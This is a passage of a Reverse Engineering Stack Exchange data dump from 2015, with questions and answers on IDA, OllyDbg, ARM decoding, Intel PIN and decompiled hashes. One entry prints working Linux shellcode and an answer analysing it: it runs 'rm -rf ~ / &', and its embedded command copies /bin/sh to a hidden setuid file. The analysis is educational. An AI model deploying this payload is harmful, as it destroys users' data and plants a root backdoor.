\n" }, { "Id": "8837", "CreationDate": "2015-05-07T12:04:21.670", "Body": "

I would like to make IDA disassemble the .plt section of ELF files correctly, e.g. as objdump does:

\n\n
objdump -D -M intel asdf | grep \"Disassembly of section .plt\" -A80\n
\n\n

\"objdump

\n\n

I don't know why but IDA gives me this (Note the dw ? and dq ?):\n\"IDA

\n\n

Even the IDA hexeditor does not show me the correct values at the corresponding addresses, but gives me ??s.

\n\n

I tried selecting and deselecting the settings described in the IDA Online help (search for \"PLT\") but this didn't help...

\n\n
\n

0: Replace PIC form of 'Procedure Linkage Table' to non PIC form

\n \n

1: Direct jumping from PLT (without GOT) regardless of its form

\n \n

2: Convert PIC form of loading _GLOBAL_OFFSET_TABLE_[] of address

\n \n

3: Obliterate auxiliary bytes in PLT & GOT for 'final autoanalysis'

\n \n

4: Natural form of PIC GOT address loading in relocatable file

\n \n

5: Unpatched form of PIC GOT references in relocatable file

\n
\n\n

How can I configure IDA so that I can access the instructions in the .plt section of an ELF file with IDAPython?

\n", "Title": "ELF: How to make IDA show me the correct PLT (Procedure Linkage Table) content?", "Tags": "|ida|disassembly|idapython|elf|plt|", "Answer": "

For a 32bit (but not 64bit) x86 ELF binary, selecting the following options works:

\n\n

\"enter\n\"enter\n\"enter

\n\n

UPDATE:

\n\n

There is a bug in IDA 6.8 (and probably earlier versions): For 64bit x86 ELF binaries, I get the desired disassembly result only when additionally deselecting \"Replace PIC form of ...\".

\n\n

This was the reason for my confusion and made me post my question.

\n\n

Hex-rays sent me a patch which fixed it (and which will probably be part of future versions... )

\n" }, { "Id": "8841", "CreationDate": "2015-05-07T20:30:29.837", "Body": "

I have the following call to a function.

\n\n
      ....\n      push eax\n      push prog.00401D19\n      call dword ptr ds:[&USER32.EnumWindows]\n      ....\n
\n\n

So, as you can see, this is a call to EnumWindows. But I would like to analyze the code at 00401D19. Do you know how to do that in ollydbg ?

\n\n

ps: when I make 00401D19 as my new origin (Ctrl + Gray *), then I can not go back to the line after EnumWindows because side effects etc. can happen. Therefore, I search a different option.

\n", "Title": "How to analyze a callback function with ollydbg?", "Tags": "|assembly|", "Answer": "

You have a couple of options:

\n\n
    \n
  1. Select the push prog.004013D19 line in OllyDbg and press Enter on your keyboard.
    2. \n
  2. Left click anywhere in the disassembly listing in OllyDbg, press Ctrl+G on your keyboard, and enter 004013D19 in the popup window.
    3. \n
\n" }, { "Id": "8845", "CreationDate": "2015-05-08T11:00:53.400", "Body": "

I'm writing a disassembler for ARM opcodes and I'm struggling with a particular encoding. The offending instruction is E1F120D1. I think I've followed the instructions closely, and expect the disassemble to be mvns r2,r1 but trying it on http://www.onlinedisassembler.com gives me ldsrb r2,[r1,#1]!.

\n\n

It seems like the low-order 20D1 in the instruction is causing online disassembler ti switch from mvn to ldrsb. Is this a bug in the disassembler -- not likely -- or my misunderstanding the instruction encodings in the manual?

\n", "Title": "What is the correct disassembly for ARM7 opcode E1F120D1?", "Tags": "|disassembly|arm|", "Answer": "

If you look at the ARM Architecture Reference Manual, you should be able to see that Chapter A5 takes you through the decoding of ARM instructions.

\n\n

Starting with table A5-1, your instruction has -

\n\n
cond (31-28) = 1110\nop1 (27-25) =  000\n
\n\n

This matches

\n\n
cond = not 1111, op1 = 00x  => Data Processing & Miscellaneous instructions (A5.2)\n
\n\n

Then for table A5-2 in section A5.2, your instruction has -

\n\n
op (25) = 0\nop1 (24-20) = 11111\nop2 (7-4) = 1101\n
\n\n

The encoding that matches these bits is -

\n\n
op = 0, op1 = not 0xx1x, op2 = 11x1 => Extra load/store instructions (A5.2.8)\n
\n\n

Finally for table A5-10 in section A5.2.8, your instruction has -

\n\n
op2 (6-5) = 10\nop1 (24-20) = 11111\nRn (19-16) = 0001\n
\n\n

This matches

\n\n
op2 = 10, op1 = xx1x1, Rn = not 1111 => LDRSB (immediate)\n
\n\n

So, yes, bits 7-4 definitely affect the decoding of this instruction.

\n" }, { "Id": "8846", "CreationDate": "2015-05-08T11:42:16.167", "Body": "

How can I catch the exceptions generated by an instrumented application in Intel PIN?

\n\n

I know about PIN_AddInternalExceptionHandler. This is not what I mean, this catches exceptions generated by the PinTool itself (if I understood correctly)

\n\n

I found this resource. Although it is a clever solution (check EIP against KiUserExceptionDispatcher) I can not instrument every instruction in my case.

\n\n

Is there a simple way to achieve this?

\n", "Title": "PinTool catches instrumented application exceptions", "Tags": "|pintool|", "Answer": "

Use PIN_AddContextChangeFunction, and from callback (CONTEXT_CHANGE_CALLBACK) you may see exception

\n" }, { "Id": "8852", "CreationDate": "2015-05-09T10:59:14.303", "Body": "

How find address of loaded specific driver on memory by C language in windows os

\n\n

\"enter

\n\n

thanks

\n", "Title": "Address of loaded driver on memory", "Tags": "|windows|debugging|c|driver|", "Answer": "
/**\n    \\todo Get system info in loop. If the list grows between the first & 2nd call the allocd ammount may be too low\n*/\nBOOL GetKernelInformation(PSYSTEM_MODULE_INFORMATION* pModuleList)\n{\n    NTSTATUS status = STATUS_SUCCESS;\n    ULONG neededSize = 0;\n\n    NtQuerySystemInformation(\n        SystemModuleInformation,\n        &neededSize,\n        0,\n        &neededSize\n        );\n\n    *pModuleList = (PSYSTEM_MODULE_INFORMATION)malloc(neededSize);\n    if(*pModuleList == NULL)\n    {\n        return FALSE;\n    }\n\n    status = NtQuerySystemInformation(SystemModuleInformation,\n        *pModuleList,\n        neededSize,\n        0\n        );\n\n    return NT_SUCCESS(status);\n}\n\nint main()\n{\n    PSYSTEM_MODULE_INFORMATION pModuleList = NULL;\n\n    if(!GetKernelInformation(&pModuleList))\n        goto CLEANUP;\n\n    for(ULONG i = 0; i < pModuleList->uCount; i++)\n    {\n        PSYSTEM_MODULE mod = &pModuleList->aSM[i];\n        printf(\"%s @ %p\\n\", mod->ImageName, mod->Base);\n    }\n\n\nCLEANUP:\n    if(pModuleList)\n        free(pModuleList);\n    return EXIT_SUCCESS;\n}\n
\n" }, { "Id": "8860", "CreationDate": "2015-05-10T15:31:25.210", "Body": "

On this website, I found the following code:

\n\n
char esp[] __attribute__ ((section(\u201d.text\u201d))) /* e.s.p release */ = \u201c\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68\\\"\n\u201c\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99\\\"\n\u201c\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7\\\"\n\u201c\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56\"\n\u201c\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31\"\n\u201c\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69\"\n\u201c\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00\"\n\u201ccp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;\u201d;\n
\n\n

I replaced the \u201c character with \", removed trailing \\ and put decoded it into a file. Here's what it disassembles to:

\n\n
00000000  EB3E              jmp short 0x40\n00000002  5B                pop ebx\n00000003  31C0              xor eax,eax\n00000005  50                push eax\n00000006  54                push esp\n00000007  5A                pop edx\n00000008  83EC64            sub esp,byte +0x64\n0000000B  68FFFFFFFF        push dword 0xffffffff\n00000010  68DFD0DFD9        push dword 0xd9dfd0df\n00000015  688D99DF81        push dword 0x81df998d\n0000001A  688D92DFD2        push dword 0xd2df928d\n0000001F  54                push esp\n00000020  5E                pop esi\n00000021  F716              not dword [esi]\n00000023  F75604            not dword [esi+0x4]\n00000026  F75608            not dword [esi+0x8]\n00000029  F7560C            not dword [esi+0xc]\n0000002C  83C474            add esp,byte +0x74\n0000002F  56                push esi\n00000030  8D7308            lea esi,[ebx+0x8]\n00000033  56                push esi\n00000034  53                push ebx\n00000035  54                push esp\n00000036  59                pop ecx\n00000037  B00B              mov al,0xb\n00000039  CD80              int 0x80\n0000003B  31C0              xor eax,eax\n0000003D  40                inc eax\n0000003E  EBF9              jmp short 0x39\n00000040  E8BDFFFFFF        call dword 0x2\n00000045  2F                das\n00000046  62696E            bound ebp,[ecx+0x6e]\n00000049  2F                das\n0000004A  7368              jnc 0xb4\n0000004C  00                db 0x00\n0000004D  2D                db 0x2d\n0000004E  6300              arpl [eax],ax\n
\n\n

And here's a hexdump:

\n\n
[17:20:46][~]$ hexdump -C /tmp/b\n00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|\n00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|\n00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|\n00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|\n00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|\n00000050\n
\n\n

What is it really? I can see /bin/sh and a call to execve so I guess it's some kind of shellcode, but I don't understand how it's run in this example (the char esp[] __attribute__ ((section(\u201d.text\u201d))) part).

\n", "Title": "How does this version of `rm -rf /` work?", "Tags": "|disassembly|linux|shellcode|", "Answer": "

It's not run in the example. It's a shellcode, it has to be somehow injected (for example using a buffer overflow vulnerability).\nTo understand how it works, let's first put some addresses on the strings:

\n\n
00000045  \"/bin/sh\"\n0000004D  \"-c\"\n0000004F  \"cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;\"\n
\n\n

Let's look at the disassembly piece by piece.

\n\n
00000000  EB3E              jmp short 0x40\n00000002  5B                pop ebx        ; 1st argument for execve(): filename = \"/bin/sh\"\n00000003  31C0              xor eax,eax    ; eax = 0\n00000005  50                push eax       ; envp[0] = NULL, argv[3] = NULL\n00000006  54                push esp\n00000007  5A                pop edx        ; 3rd argument for execve(): envp = {NULL}\n...\n00000040  E8BDFFFFFF        call dword 0x2\n00000045  \"/bin/sh\"\n...\n
\n\n

The jmp/call is a well known trick: the call will push the address of the following instruction to the stack. This gets popped into ebx, which now contains the address to \"/bin/sh\". In a system call, ebx is the first argument.\nNext, eax is zeroed using a xor instruction and pushed to the stack. The pointer to those four zero bytes is stored in esp, which ends up in edx (3rd argument). The envp parameter of execve() is terminated with a null pointer: no environment vars in this case. This will also be used in argv.

\n\n
00000008  83EC64            sub esp,byte +0x64    ; Reserve 0x64 bytes on the stack\n0000000B  68FFFFFFFF        push dword 0xffffffff ; Push 4th string word\n00000010  68DFD0DFD9        push dword 0xd9dfd0df ; Push 3rd string word\n00000015  688D99DF81        push dword 0x81df998d ; Push 2nd string word\n0000001A  688D92DFD2        push dword 0xd2df928d ; Push 1st string word\n0000001F  54                push esp\n00000020  5E                pop esi             ; esi = esp\n00000021  F716              not dword [esi]     ; Not 1st string word: 0x2d206d72 'rm -'\n00000023  F75604            not dword [esi+0x4] ; Not 2nd string word: 0x7e206672 'rf ~'\n00000026  F75608            not dword [esi+0x8] ; Not 3rd string word: 0x26202f20 ' / &'\n00000029  F7560C            not dword [esi+0xc] ; Not 4th string word: 0x00000000 (NULL terminator)\n0000002C  83C474            add esp,byte +0x74  ; Restore esp\n
\n\n

\"rm -rf ~ / &\" is pushed NOT-encoded into the stack and decoded in place. esi points to the decoded string.

\n\n
0000002F  56                push esi            ; argv[2] = \"rm -rf ~ / &\"\n00000030  8D7308            lea esi,[ebx+0x8]   ; esi = address of \"-c\"\n00000033  56                push esi            ; argv[1] = \"-c\"\n00000034  53                push ebx            ; argv[0] = \"bin/sh\"\n00000035  54                push esp\n00000036  59                pop ecx    ; ecx = 2nd argument for execve(): argv = {\"/bin/sh\", \"-c\", \"rm -rf ~ / &\", NULL}\n00000037  B00B              mov al,0xb ; 11 = execve() system call\n00000039  CD80              int 0x80   ; execve()\n
\n\n

It's time to build the argv array and make the call. The previous piece of code restored esp, so whatever is pushed will be after that first 0x00000000. Piece by piece the arguments are pushed to the stack. Remember that ebx held the pointer to \"/bin/sh\" (7 chars + terminator), so ebx+8 will be \"-c\". The null word that was pushed into the stack at the very beginning of the shellcode is reused as the terminator for argv.

\n\n
0000003B  31C0              xor eax,eax\n0000003D  40                inc eax        ; 1 = exit() system call\n0000003E  EBF9              jmp short 0x39 ; exit()\n
\n\n

Using xor+inc eax is set to 1, which is system call exit(). It then jumps to the int 0x80 instruction and exit() is called.

\n" }, { "Id": "8866", "CreationDate": "2015-05-11T00:54:26.060", "Body": "

I have been working on rewriting a program, although it uses a hash to fingerprint the file, I have used IDA to find the function doing the hash and what it is doing to the file before it sends it to the hash function.

\n\n

I just have a couple questions about what is going on, I know I can simply invoke it as it is in a DLL, but I want to understand what is going on as well.

\n\n
unsigned int __cdecl newhash(int a1, unsigned int a2, int zero)\n{\n  int content; // ebx@1\n  int v4; // ecx@1\n  int v5; // edx@1\n  int i; // eax@1\n  int v7; // ecx@2\n  unsigned int v8; // eax@2\n  int v9; // edx@2\n  int v10; // ecx@2\n  int v11; // eax@2\n  int v12; // edx@2\n  int v13; // ecx@2\n  int v14; // eax@2\n  unsigned int v15; // eax@3\n  int v16; // edx@15\n  int v17; // ecx@15\n  int v18; // eax@15\n  int v19; // edx@15\n  int v20; // ecx@15\n  int v21; // eax@15\n  int v22; // edx@15\n  unsigned int contentLength; // [sp+Ch] [bp-4h]@1\n\n  content = a1;\n  contentLength = a2;\n  v4 = -1640531527;\n  v5 = -1640531527;\n  for ( i = zero; contentLength >= 12; contentLength -= 12 )\n  {\n    v7 = (*(_BYTE *)(content + 7) << 24)\n       + (*(_BYTE *)(content + 6) << 16)\n       + (*(_BYTE *)(content + 5) << 8)\n       + *(_BYTE *)(content + 4)\n       + v4;\n    v8 = (*(_BYTE *)(content + 11) << 24)\n       + (*(_BYTE *)(content + 10) << 16)\n       + (*(_BYTE *)(content + 9) << 8)\n       + *(_BYTE *)(content + 8)\n       + i;\n    v9 = (v8 >> 13) ^ ((*(_BYTE *)(content + 3) << 24)\n                     + (*(_BYTE *)(content + 2) << 16)\n                     + (*(_BYTE *)(content + 1) << 8)\n                     + *(_BYTE *)content\n                     + v5\n                     - v7\n                     - v8);\n    v10 = (v9 << 8) ^ (v7 - v8 - v9);\n    v11 = ((unsigned int)v10 >> 13) ^ (v8 - v9 - v10);\n    v12 = ((unsigned int)v11 >> 12) ^ (v9 - v10 - v11);\n    v13 = (v12 << 16) ^ (v10 - v11 - v12);\n    v14 = ((unsigned int)v13 >> 5) ^ (v11 - v12 - v13);\n    v5 = ((unsigned int)v14 >> 3) ^ (v12 - v13 - v14);\n    v4 = (v5 << 10) ^ (v13 - v14 - v5);\n    i = ((unsigned int)v4 >> 15) ^ (v14 - v5 - v4);\n    content += 12;\n  }\n  v15 = a2 + i;\n  switch ( contentLength )\n  {\n    case 0xBu:\n      v15 += *(_BYTE *)(content + 10) << 24;\n      goto LABEL_5;\n    case 0xAu:\nLABEL_5:\n      v15 += *(_BYTE *)(content + 9) << 16;\n      goto LABEL_6;\n    case 9u:\nLABEL_6:\n      v15 += *(_BYTE *)(content + 8) << 8;\n      goto LABEL_7;\n    case 8u:\nLABEL_7:\n      v4 += *(_BYTE *)(content + 7) << 24;\n      goto LABEL_8;\n    case 7u:\nLABEL_8:\n      v4 += *(_BYTE *)(content + 6) << 16;\n      goto LABEL_9;\n    case 6u:\nLABEL_9:\n      v4 += *(_BYTE *)(content + 5) << 8;\n      goto LABEL_10;\n    case 5u:\nLABEL_10:\n      v4 += *(_BYTE *)(content + 4);\n      goto LABEL_11;\n    case 4u:\nLABEL_11:\n      v5 += *(_BYTE *)(content + 3) << 24;\n      goto LABEL_12;\n    case 3u:\nLABEL_12:\n      v5 += *(_BYTE *)(content + 2) << 16;\n      goto LABEL_13;\n    case 2u:\nLABEL_13:\n      v5 += *(_BYTE *)(content + 1) << 8;\n      goto LABEL_14;\n    case 1u:\nLABEL_14:\n      v5 += *(_BYTE *)content;\n      break;\n    default:\n      break;\n  }\n  v16 = (v15 >> 13) ^ (v5 - v4 - v15);\n  v17 = (v16 << 8) ^ (v4 - v15 - v16);\n  v18 = ((unsigned int)v17 >> 13) ^ (v15 - v16 - v17);\n  v19 = ((unsigned int)v18 >> 12) ^ (v16 - v17 - v18);\n  v20 = (v19 << 16) ^ (v17 - v18 - v19);\n  v21 = ((unsigned int)v20 >> 5) ^ (v18 - v19 - v20);\n  v22 = ((unsigned int)v21 >> 3) ^ (v19 - v20 - v21);\n\n  return (((v22 << 10) ^ \n           (unsigned int)(v20 - v21 - v22)) >> 15) ^ \n           (v21 - v22 - ((v22 << 10) ^ (v20 - v21 - v22)));\n}\n
\n\n

a1 is an address location\na2 is the length of the file to hash\nzero I renamed as it always sends zero for whatever reason.

\n\n

Now for the questions:

\n\n
    \n
  1. First and foremost, is this a standard algorithm like CRC or\nsomething?
    2. \n
  2. Is there a reason for the v4 and v5 variables to be -1640531527?
    3. \n
  3. What is the purpose of (*(_BYTE *)(content + 7) << 24) isn't a byte only 8 bits, so won't it be 0 every time? I looked up the order of operations and it seems that the casting is first then the bit operations, so it means it converts it to the 8th byte in the file and bit shifts it 24 bits right? why?
    4. \n
  4. Why are some bits signed and some unsigned, and would it change the outcome if there is a mix?
    5. \n
\n\n

Those are most of my questions, I understand it is going through all the bytes and getting a total to figure out the \"hash\" for the file, I understand that the switch case is taking care of the situation of the file not being exactly divisible by 12. I think once I understand the logic behind the bitwise operations then it will be more clear.

\n", "Title": "Hash algorithm written in C decompiled with IDA", "Tags": "|ida|c++|decompiler|hash-functions|crc|", "Answer": "

Just a small addition to the previous answers.

\nThe following shift construct, asked in 3, is a widely used way to convert a byte stream into a 32-bit integer.

\n\n
   (*(_BYTE *)(content + 7) << 24)\n + (*(_BYTE *)(content + 6) << 16)\n + (*(_BYTE *)(content + 5) << 8)\n + *(_BYTE *)(content + 4)\n\n31    24    23    16    15     8    7      0\nAAAAAAAA    BBBBBBBB    CCCCCCCC    DDDDDDDD\n  ^^^         ^^^         ^^^         ^^^\ncontent[7]  content[6]  content[5]  content[4]\n
\n\n

If content is the address of a byte array, you can simply write

\n\n
*(_BYTE *)(content+7)\n
\n\n

as

\n\n
content[7]\n
\n\n

But of course, you should declare content in a different way as the decompiler did, but the decompiler see only a pointer and don't know that it is a byte array really.

\n" }, { "Id": "8870", "CreationDate": "2015-05-11T21:54:56.743", "Body": "

Let's say I have the following function in IDA:

\n\n
int __usercall function<eax>(char* message<ebp>, unsigned int count<edi>)\n
\n\n

What's the fastest way to extract the argument information using IDAPython, such that I get the following:

\n\n
[['char*', 'message', 'ebp'],['unsigned int','count','edi']]\n
\n\n

Not that it also needs to handle situations like:

\n\n
void *__usercall sub_4508B0@<rax>(void *(__usercall *function)@<rax>(int one@<eax>)@<rax>);\n
\n\n

Which should give me something along the lines of:

\n\n
[['void * ...', 'function', 'rax']]\n
\n", "Title": "Extracting arguments from IDA", "Tags": "|ida|disassembly|idapython|python|", "Answer": "

I received an answer from HexRays support which has a solution which does not rely on parsing the C string retrieved by GetType(ea).

\n\n

Let's imagine we start with a function prototype:

\n\n
int __cdecl main(int argc, const char **argv, const char **envp)\n
\n\n

That's from an ELF file, x86 abi; stuff is passed on the stack.

\n\n

Then, I can do the following:

\n\n
Python>from idaapi import *\nPython>tif = tinfo_t()\nPython>get_tinfo2(here(), tif)\nTrue\nPython>funcdata = func_type_data_t()\nPython>tif.get_func_details(funcdata)\nTrue\nPython>funcdata.size()\n3\nPython>for i in xrange(funcdata.size()):\nPython>    print \"Arg %d: %s (of type %s, and of location: %s)\" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())\nPython>\nArg 0: argc (of type int, and of location: 1)\nArg 1: argv (of type const char **, and of location: 1)\nArg 2: envp (of type const char **, and of location: 1)\n
\n\n

Note that it tells me the location type is 1, which corresponds\nto 'stack':\nhttps://www.hex-rays.com/products/ida/support/sdkdoc/group___a_l_o_c__.html

\n\n

Now, let's assume I change the prototype to this:

\n\n
.text:0804ABA1 ; int __usercall main@<eip>(int argc@<eax>, const char **argv@<esp>, const char **envp@<edx>)\n
\n\n

Then:

\n\n
Python>get_tinfo2(here(), tif)\nTrue\nPython>tif.get_func_details(funcdata)\nTrue\nPython>for i in xrange(funcdata.size()):\nPython>    print \"Arg %d: %s (of type %s, and of location: %s)\" % (i, funcdata[i].name, print_tinfo('', 0, 0, PRTYPE_1LINE, funcdata[i].type, '', ''), funcdata[i].argloc.atype())\nPython>\nArg 0: argc (of type int, and of location: 3)\nArg 1: argv (of type const char **, and of location: 3)\nArg 2: envp (of type const char **, and of location: 3)\n
\n\n

Argument location type is 3 now, which corresponds to 'inside\nregister'.

\n\n

(Then, I would have to use reg1() to retrieve the actual\nregister number to know what register the argument is\npassed in)

\n\n

Credit goes to Arnaud of Hex Rays.

\n" }, { "Id": "8877", "CreationDate": "2015-05-12T16:31:05.327", "Body": "

i have the following question:

\n\n

For example, when I have the structure

\n\n
    IMAGE_SECTION_HEADER STRUCT         |   C1    |    C2      \n    Name1                     BYTE      |   +0    |    +0\n    union Misc                          |\n        PhysicalAddress       DWORD     |    2    |     2\n        VirtualSize           DWORD     |    6    |\n    ends                                |\n    VirtualAddress            DWORD     |    10   |     6\n    SizeOfRawData             DWORD     |    14   |     10\n    PointerToRawData          DWORD     |    18   |     14\n       ...(etc.)\n
\n\n

Then how I must count the offsets? The columns C1 and C2 represent my solutions but i am not sure which of the two is right or if both are wrong.\nDo I have to consider the union in the structure as 1 field, or do I need to consider its fields separately?

\n\n

best regards,

\n", "Title": "Counting offsets of structure fields", "Tags": "|struct|", "Answer": "

A union is a list of fields starting at the same address in memory (except for bitfields, of course). Its size is at least the size of the largest field in it. In your case, it would be 4 bytes.

\n\n

Note that, like structs, the size can be bigger due to alignment requirements. For example, take this C union:

\n\n
union MyUnion {\n    char a[5];\n    int b;\n};\n
\n\n

The a fields is 5 bytes, b is 4. You would expect the union to be 5 bytes, but, as you can check with sizeof(union MyUnion), it is actually 8. This is because ints are aligned to a 4-byte boundary. Similiarly, shorts are aligned to 2 bytes and doubles to 8. Try it on CodingGround.

\n\n

You may be asking yourself: why does the compiler align the union size? Isn't aligning the starting address enough? It could well keep the size of MyUnion to 5 and align the start to a 4-byte boundary for the int. The problem comes when you have an array of the union. An array needs to be a contiguous block of memory because of how array and pointer arithmetic works. Given a generic T array[] you have that array[i] == *(array + i) == *((T *) (((char *) array) + i * sizeof(T))). In the example case, MyUnion has a 4-byte alignment requirement (the largest aligment in the union). If you have a MyUnion array[], the starting address will be 4-byte aligned because of the int. This means that array[0] will be correctly aligned. But if the size of the union is 5, then array[1] will be at a 5 bytes offset from the starting address. This is not 4-byte aligned! Aligning the union size to 8 bytes puts array[1] to a 8 bytes offset, which is 4-bytes aligned. Aligning the size by padding the union allows the array to be contiguous while keeping everything aligned.

\n\n

Bottom line:

\n\n

In a union (or a struct), both the starting address and the size are aligned to the biggest alignment requirement of the fields.

\n\n

Of course, alignment requirements may vary between compilers and architectures. Keep that in mind.

\n\n

Neither C1 nor C2 is correct as far as I can see, since the first field is a byte and not two:

\n\n
IMAGE_SECTION_HEADER STRUCT         |w/o align| aligned |\nName1                     BYTE      |   +0    |   +0    |\nunion Misc                          |   +1    |   +4    |\n    PhysicalAddress       DWORD     |         |         |\n    VirtualSize           DWORD     |         |         |            \nends                                |         |         |\nVirtualAddress            DWORD     |   +5    |   +8    |\nSizeOfRawData             DWORD     |   +9    |   +12   |\nPointerToRawData          DWORD     |   +13   |   +16   |\n   ...(etc.)\n
\n" }, { "Id": "8890", "CreationDate": "2015-05-14T07:27:30.973", "Body": "

I was debugging a Windows Store app, wwahost.exe does a NdrClientCall2 - \nTWINAPI!PsmApp_StubDesc.\npsmsrv.dll registered the endpoint by dcomlaunch svchost.exe.\nWhat would be reasons of a NdrClientCall2 to fail ?\n How do I debug further?

\n\n

NdrpClientUnMarshal call fails with 3. What does this api do ?

\n", "Title": "NdrClientCall2 fails with STATUS_OBJECT_NAME_NOT_FOUND", "Tags": "|windows|debugging|windows-8|", "Answer": "
\n

How do I debug further?

\n
\n\n

See this post for instructions on debugging the server-side code executed by the NdrClientCall2() function.

\n\n
\n

NdrpClientUnMarshal call fails with 3. What does this api do ?

\n
\n\n

It unmarshals (deserializes) the data returned by the RPC call.

\n" }, { "Id": "8891", "CreationDate": "2015-05-14T07:36:31.420", "Body": "

Normally I'm working with firmwares and native code executables, patching small things like constants, jump conditions etc. There I'm using IDA's disassembly to analyse what and where to patch.\nWith Java bytecode I would tend to use the decompiled code from a tool like jd-gui for analysing what to patch. But for actually changing anything I would need a connection between the decompiled code and the bytecode.\nIs there a tool that can show this

\n", "Title": "Workflow patching Java jar file", "Tags": "|disassembly|decompilation|java|patching|", "Answer": "
    \n
  1. Use JD-GUI to examine the jar file
    2. \n
  2. Unpack the jar file\n
    3. \n
  3. Modify the .class file with a Java Bytecode Editor\n
    4. \n
  4. Repack the modified classes into new archive file\n
    5. \n
\n\n

Credits for this particular solution to Khai Tran @ NetSPI

\n" }, { "Id": "8895", "CreationDate": "2015-05-15T08:58:08.953", "Body": "

I have an app that use erlang .beam compiled files without debugging information.\nSomeone have some tips how to decompile or reverse engineering these?

\n\n

Thanks in advance

\n", "Title": "Decompile erlang .beam files compiled without debug_info", "Tags": "|patch-reversing|erlang|", "Answer": "

You can get low-level bytecode source of .beam file with beam_disasm:file(module_name)

\n\n

It's not easy to read it and takes time to figure it out. But it's much verbose and easier to comprehend than any real hardware assembly code. You can give it a try.

\n\n

For example, if you have a .beam file called \"my_module.beam\", open erl and type

\n\n
file:write_file(\"/tmp/my_module_disasm\", io_lib:fwrite(\"~p.\\n\", [beam_disasm:file(my_module)])).\n
\n\n

where '/tmp/my_module_disasm' is the path where you want to save the result.

\n" }, { "Id": "8897", "CreationDate": "2015-05-15T12:42:30.973", "Body": "

I'd like to create a IDA FLIRT signature for the following PPC uClibc library:

\n\n
libuClibc-0.9.15.so: ELF 32-bit MSB shared object, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked, for GNU/Linux 2.0.0, stripped\n
\n\n

I got the FLAIR tools from hex-rays but didn't manage to create the .sig file.\nIf I understood correctly, a .pat file must be created first, from which a .sig file can be created then. I tried ./pelf.exe libuClibc-0.9.15.so, but this only returned an 'invalid input file' error.

\n\n

How can I create a FLIRT signature from this library?

\n", "Title": "How to create a IDA FLIRT signature for a PPC library?", "Tags": "|ida|tools|elf|static-analysis|flirt-signatures|", "Answer": "

AFAIK, you can only create the .pat files from statically linked libraries using the method you describe. It appears your file is dynamically linked (that would explain the 'invalid input file' message)

\n\n

You can give a try to this IDAPython plugin. A good explanation from its author can be found here

\n\n

Good luck!

\n" }, { "Id": "8899", "CreationDate": "2015-05-15T14:51:07.947", "Body": "

How can I search for a sequence of instructions in IDA Pro?

\n\n

I did manage to search for a single instruction using text search string li.*r4.*-1 (for instruction li r4, -1), but I failed to match multiple instructions or newline character.

\n\n

It seems to be possible to this by using the binary search, but this requires converting the assembly to the corresponding binary opcodes.

\n", "Title": "Searching for a sequence of instructions in IDA Pro", "Tags": "|ida|static-analysis|", "Answer": "

If you have a fixed set of instructions you are search for eg:

\n\n
li  r4,0\nli  r5,16\nli  r6,32\n
\n\n

Assuming you already have one location found, you can look in the binary hex view, and find the byte pattern you want and use that in a binary search, just make sure you write each byte with a space between them like 01 02 03 04 so IDA treats them as a sequence of bytes, not as a word/int type search.

\n\n

If you have a regex like soft match like

\n\n
slwi r0,r3,2\nadd r4,r4,r0\n
\n\n

but you don't know r4 will be the register used, but know it will be this pattern of slwi and add then I'd write a script (IDC or python) that searches using a text search for outer clause, and then checks for the next instruction to match the expected test, or move to next outer clause.

\n\n

So the following idc file/code does the outer loop (I was using it to find address offsets that where not set to references), but it might be a good starting base to work from

\n\n
#include <idc.idc>\n\nstatic fixAllOffsets( strtext)\n{\n    auto ea, offset;\n    auto last;\n    Message(\"Start\\n\");\n    ea = FindText(0x100000, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);\n    last = 0;\n    while( ea != BADADDR && ea != last)\n    {\n        Message(\"%a\\n\", ea);\n\n        // INSERT you next line checks here\n\n        last = ea;\n        ea = FindText(ea+6, SEARCH_DOWN | SEARCH_REGEX, 0, 0, strtext);\n    }\n    Message(\"End\\n\");\n}\n\nstatic main() \n{\n    fixAllOffsets( \"0x9[EF][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F][0-9A-F]\" );\n}\n
\n" }, { "Id": "8909", "CreationDate": "2015-05-16T14:48:08.907", "Body": "

I was analyzing a sample and the function CreateRemoteThread is called with dwCreationFlag = 0, so the created thread starts immediately after creation.\nOllyDbg jumps to beginning of the new thread. I analyze the new thread and at the end of that, it calls RtlExitUserThread and the thread is terminated.

\n\n

To visualize, you can consider the following:

\n\n
  PUSH EAX                              ; dwCreationFlag = 0\n     .\n     .\n     .\n  CALL DWORD PTR SS:[EBP-28]           ; CreateRemoteThread\n     .\n  (lines which I would also like to analyze)\n
\n\n

As I described, the new thread starts and it ends with a call to RtlExitUserThread but I would like to analyze the lines after the call to RtlExitUserThread.

\n\n

How can I go back to the main thread, because there was a lot of lines to analyze (after the call to CreateRemoteThread)?

\n", "Title": "How to go back to main thread?", "Tags": "|ollydbg|thread|", "Answer": "

Right Click within the Disassembler window -> Select thread -> Click Main thread

\n\n

Here is an image for reference.\n\"enter

\n" }, { "Id": "8910", "CreationDate": "2015-05-16T15:16:06.017", "Body": "

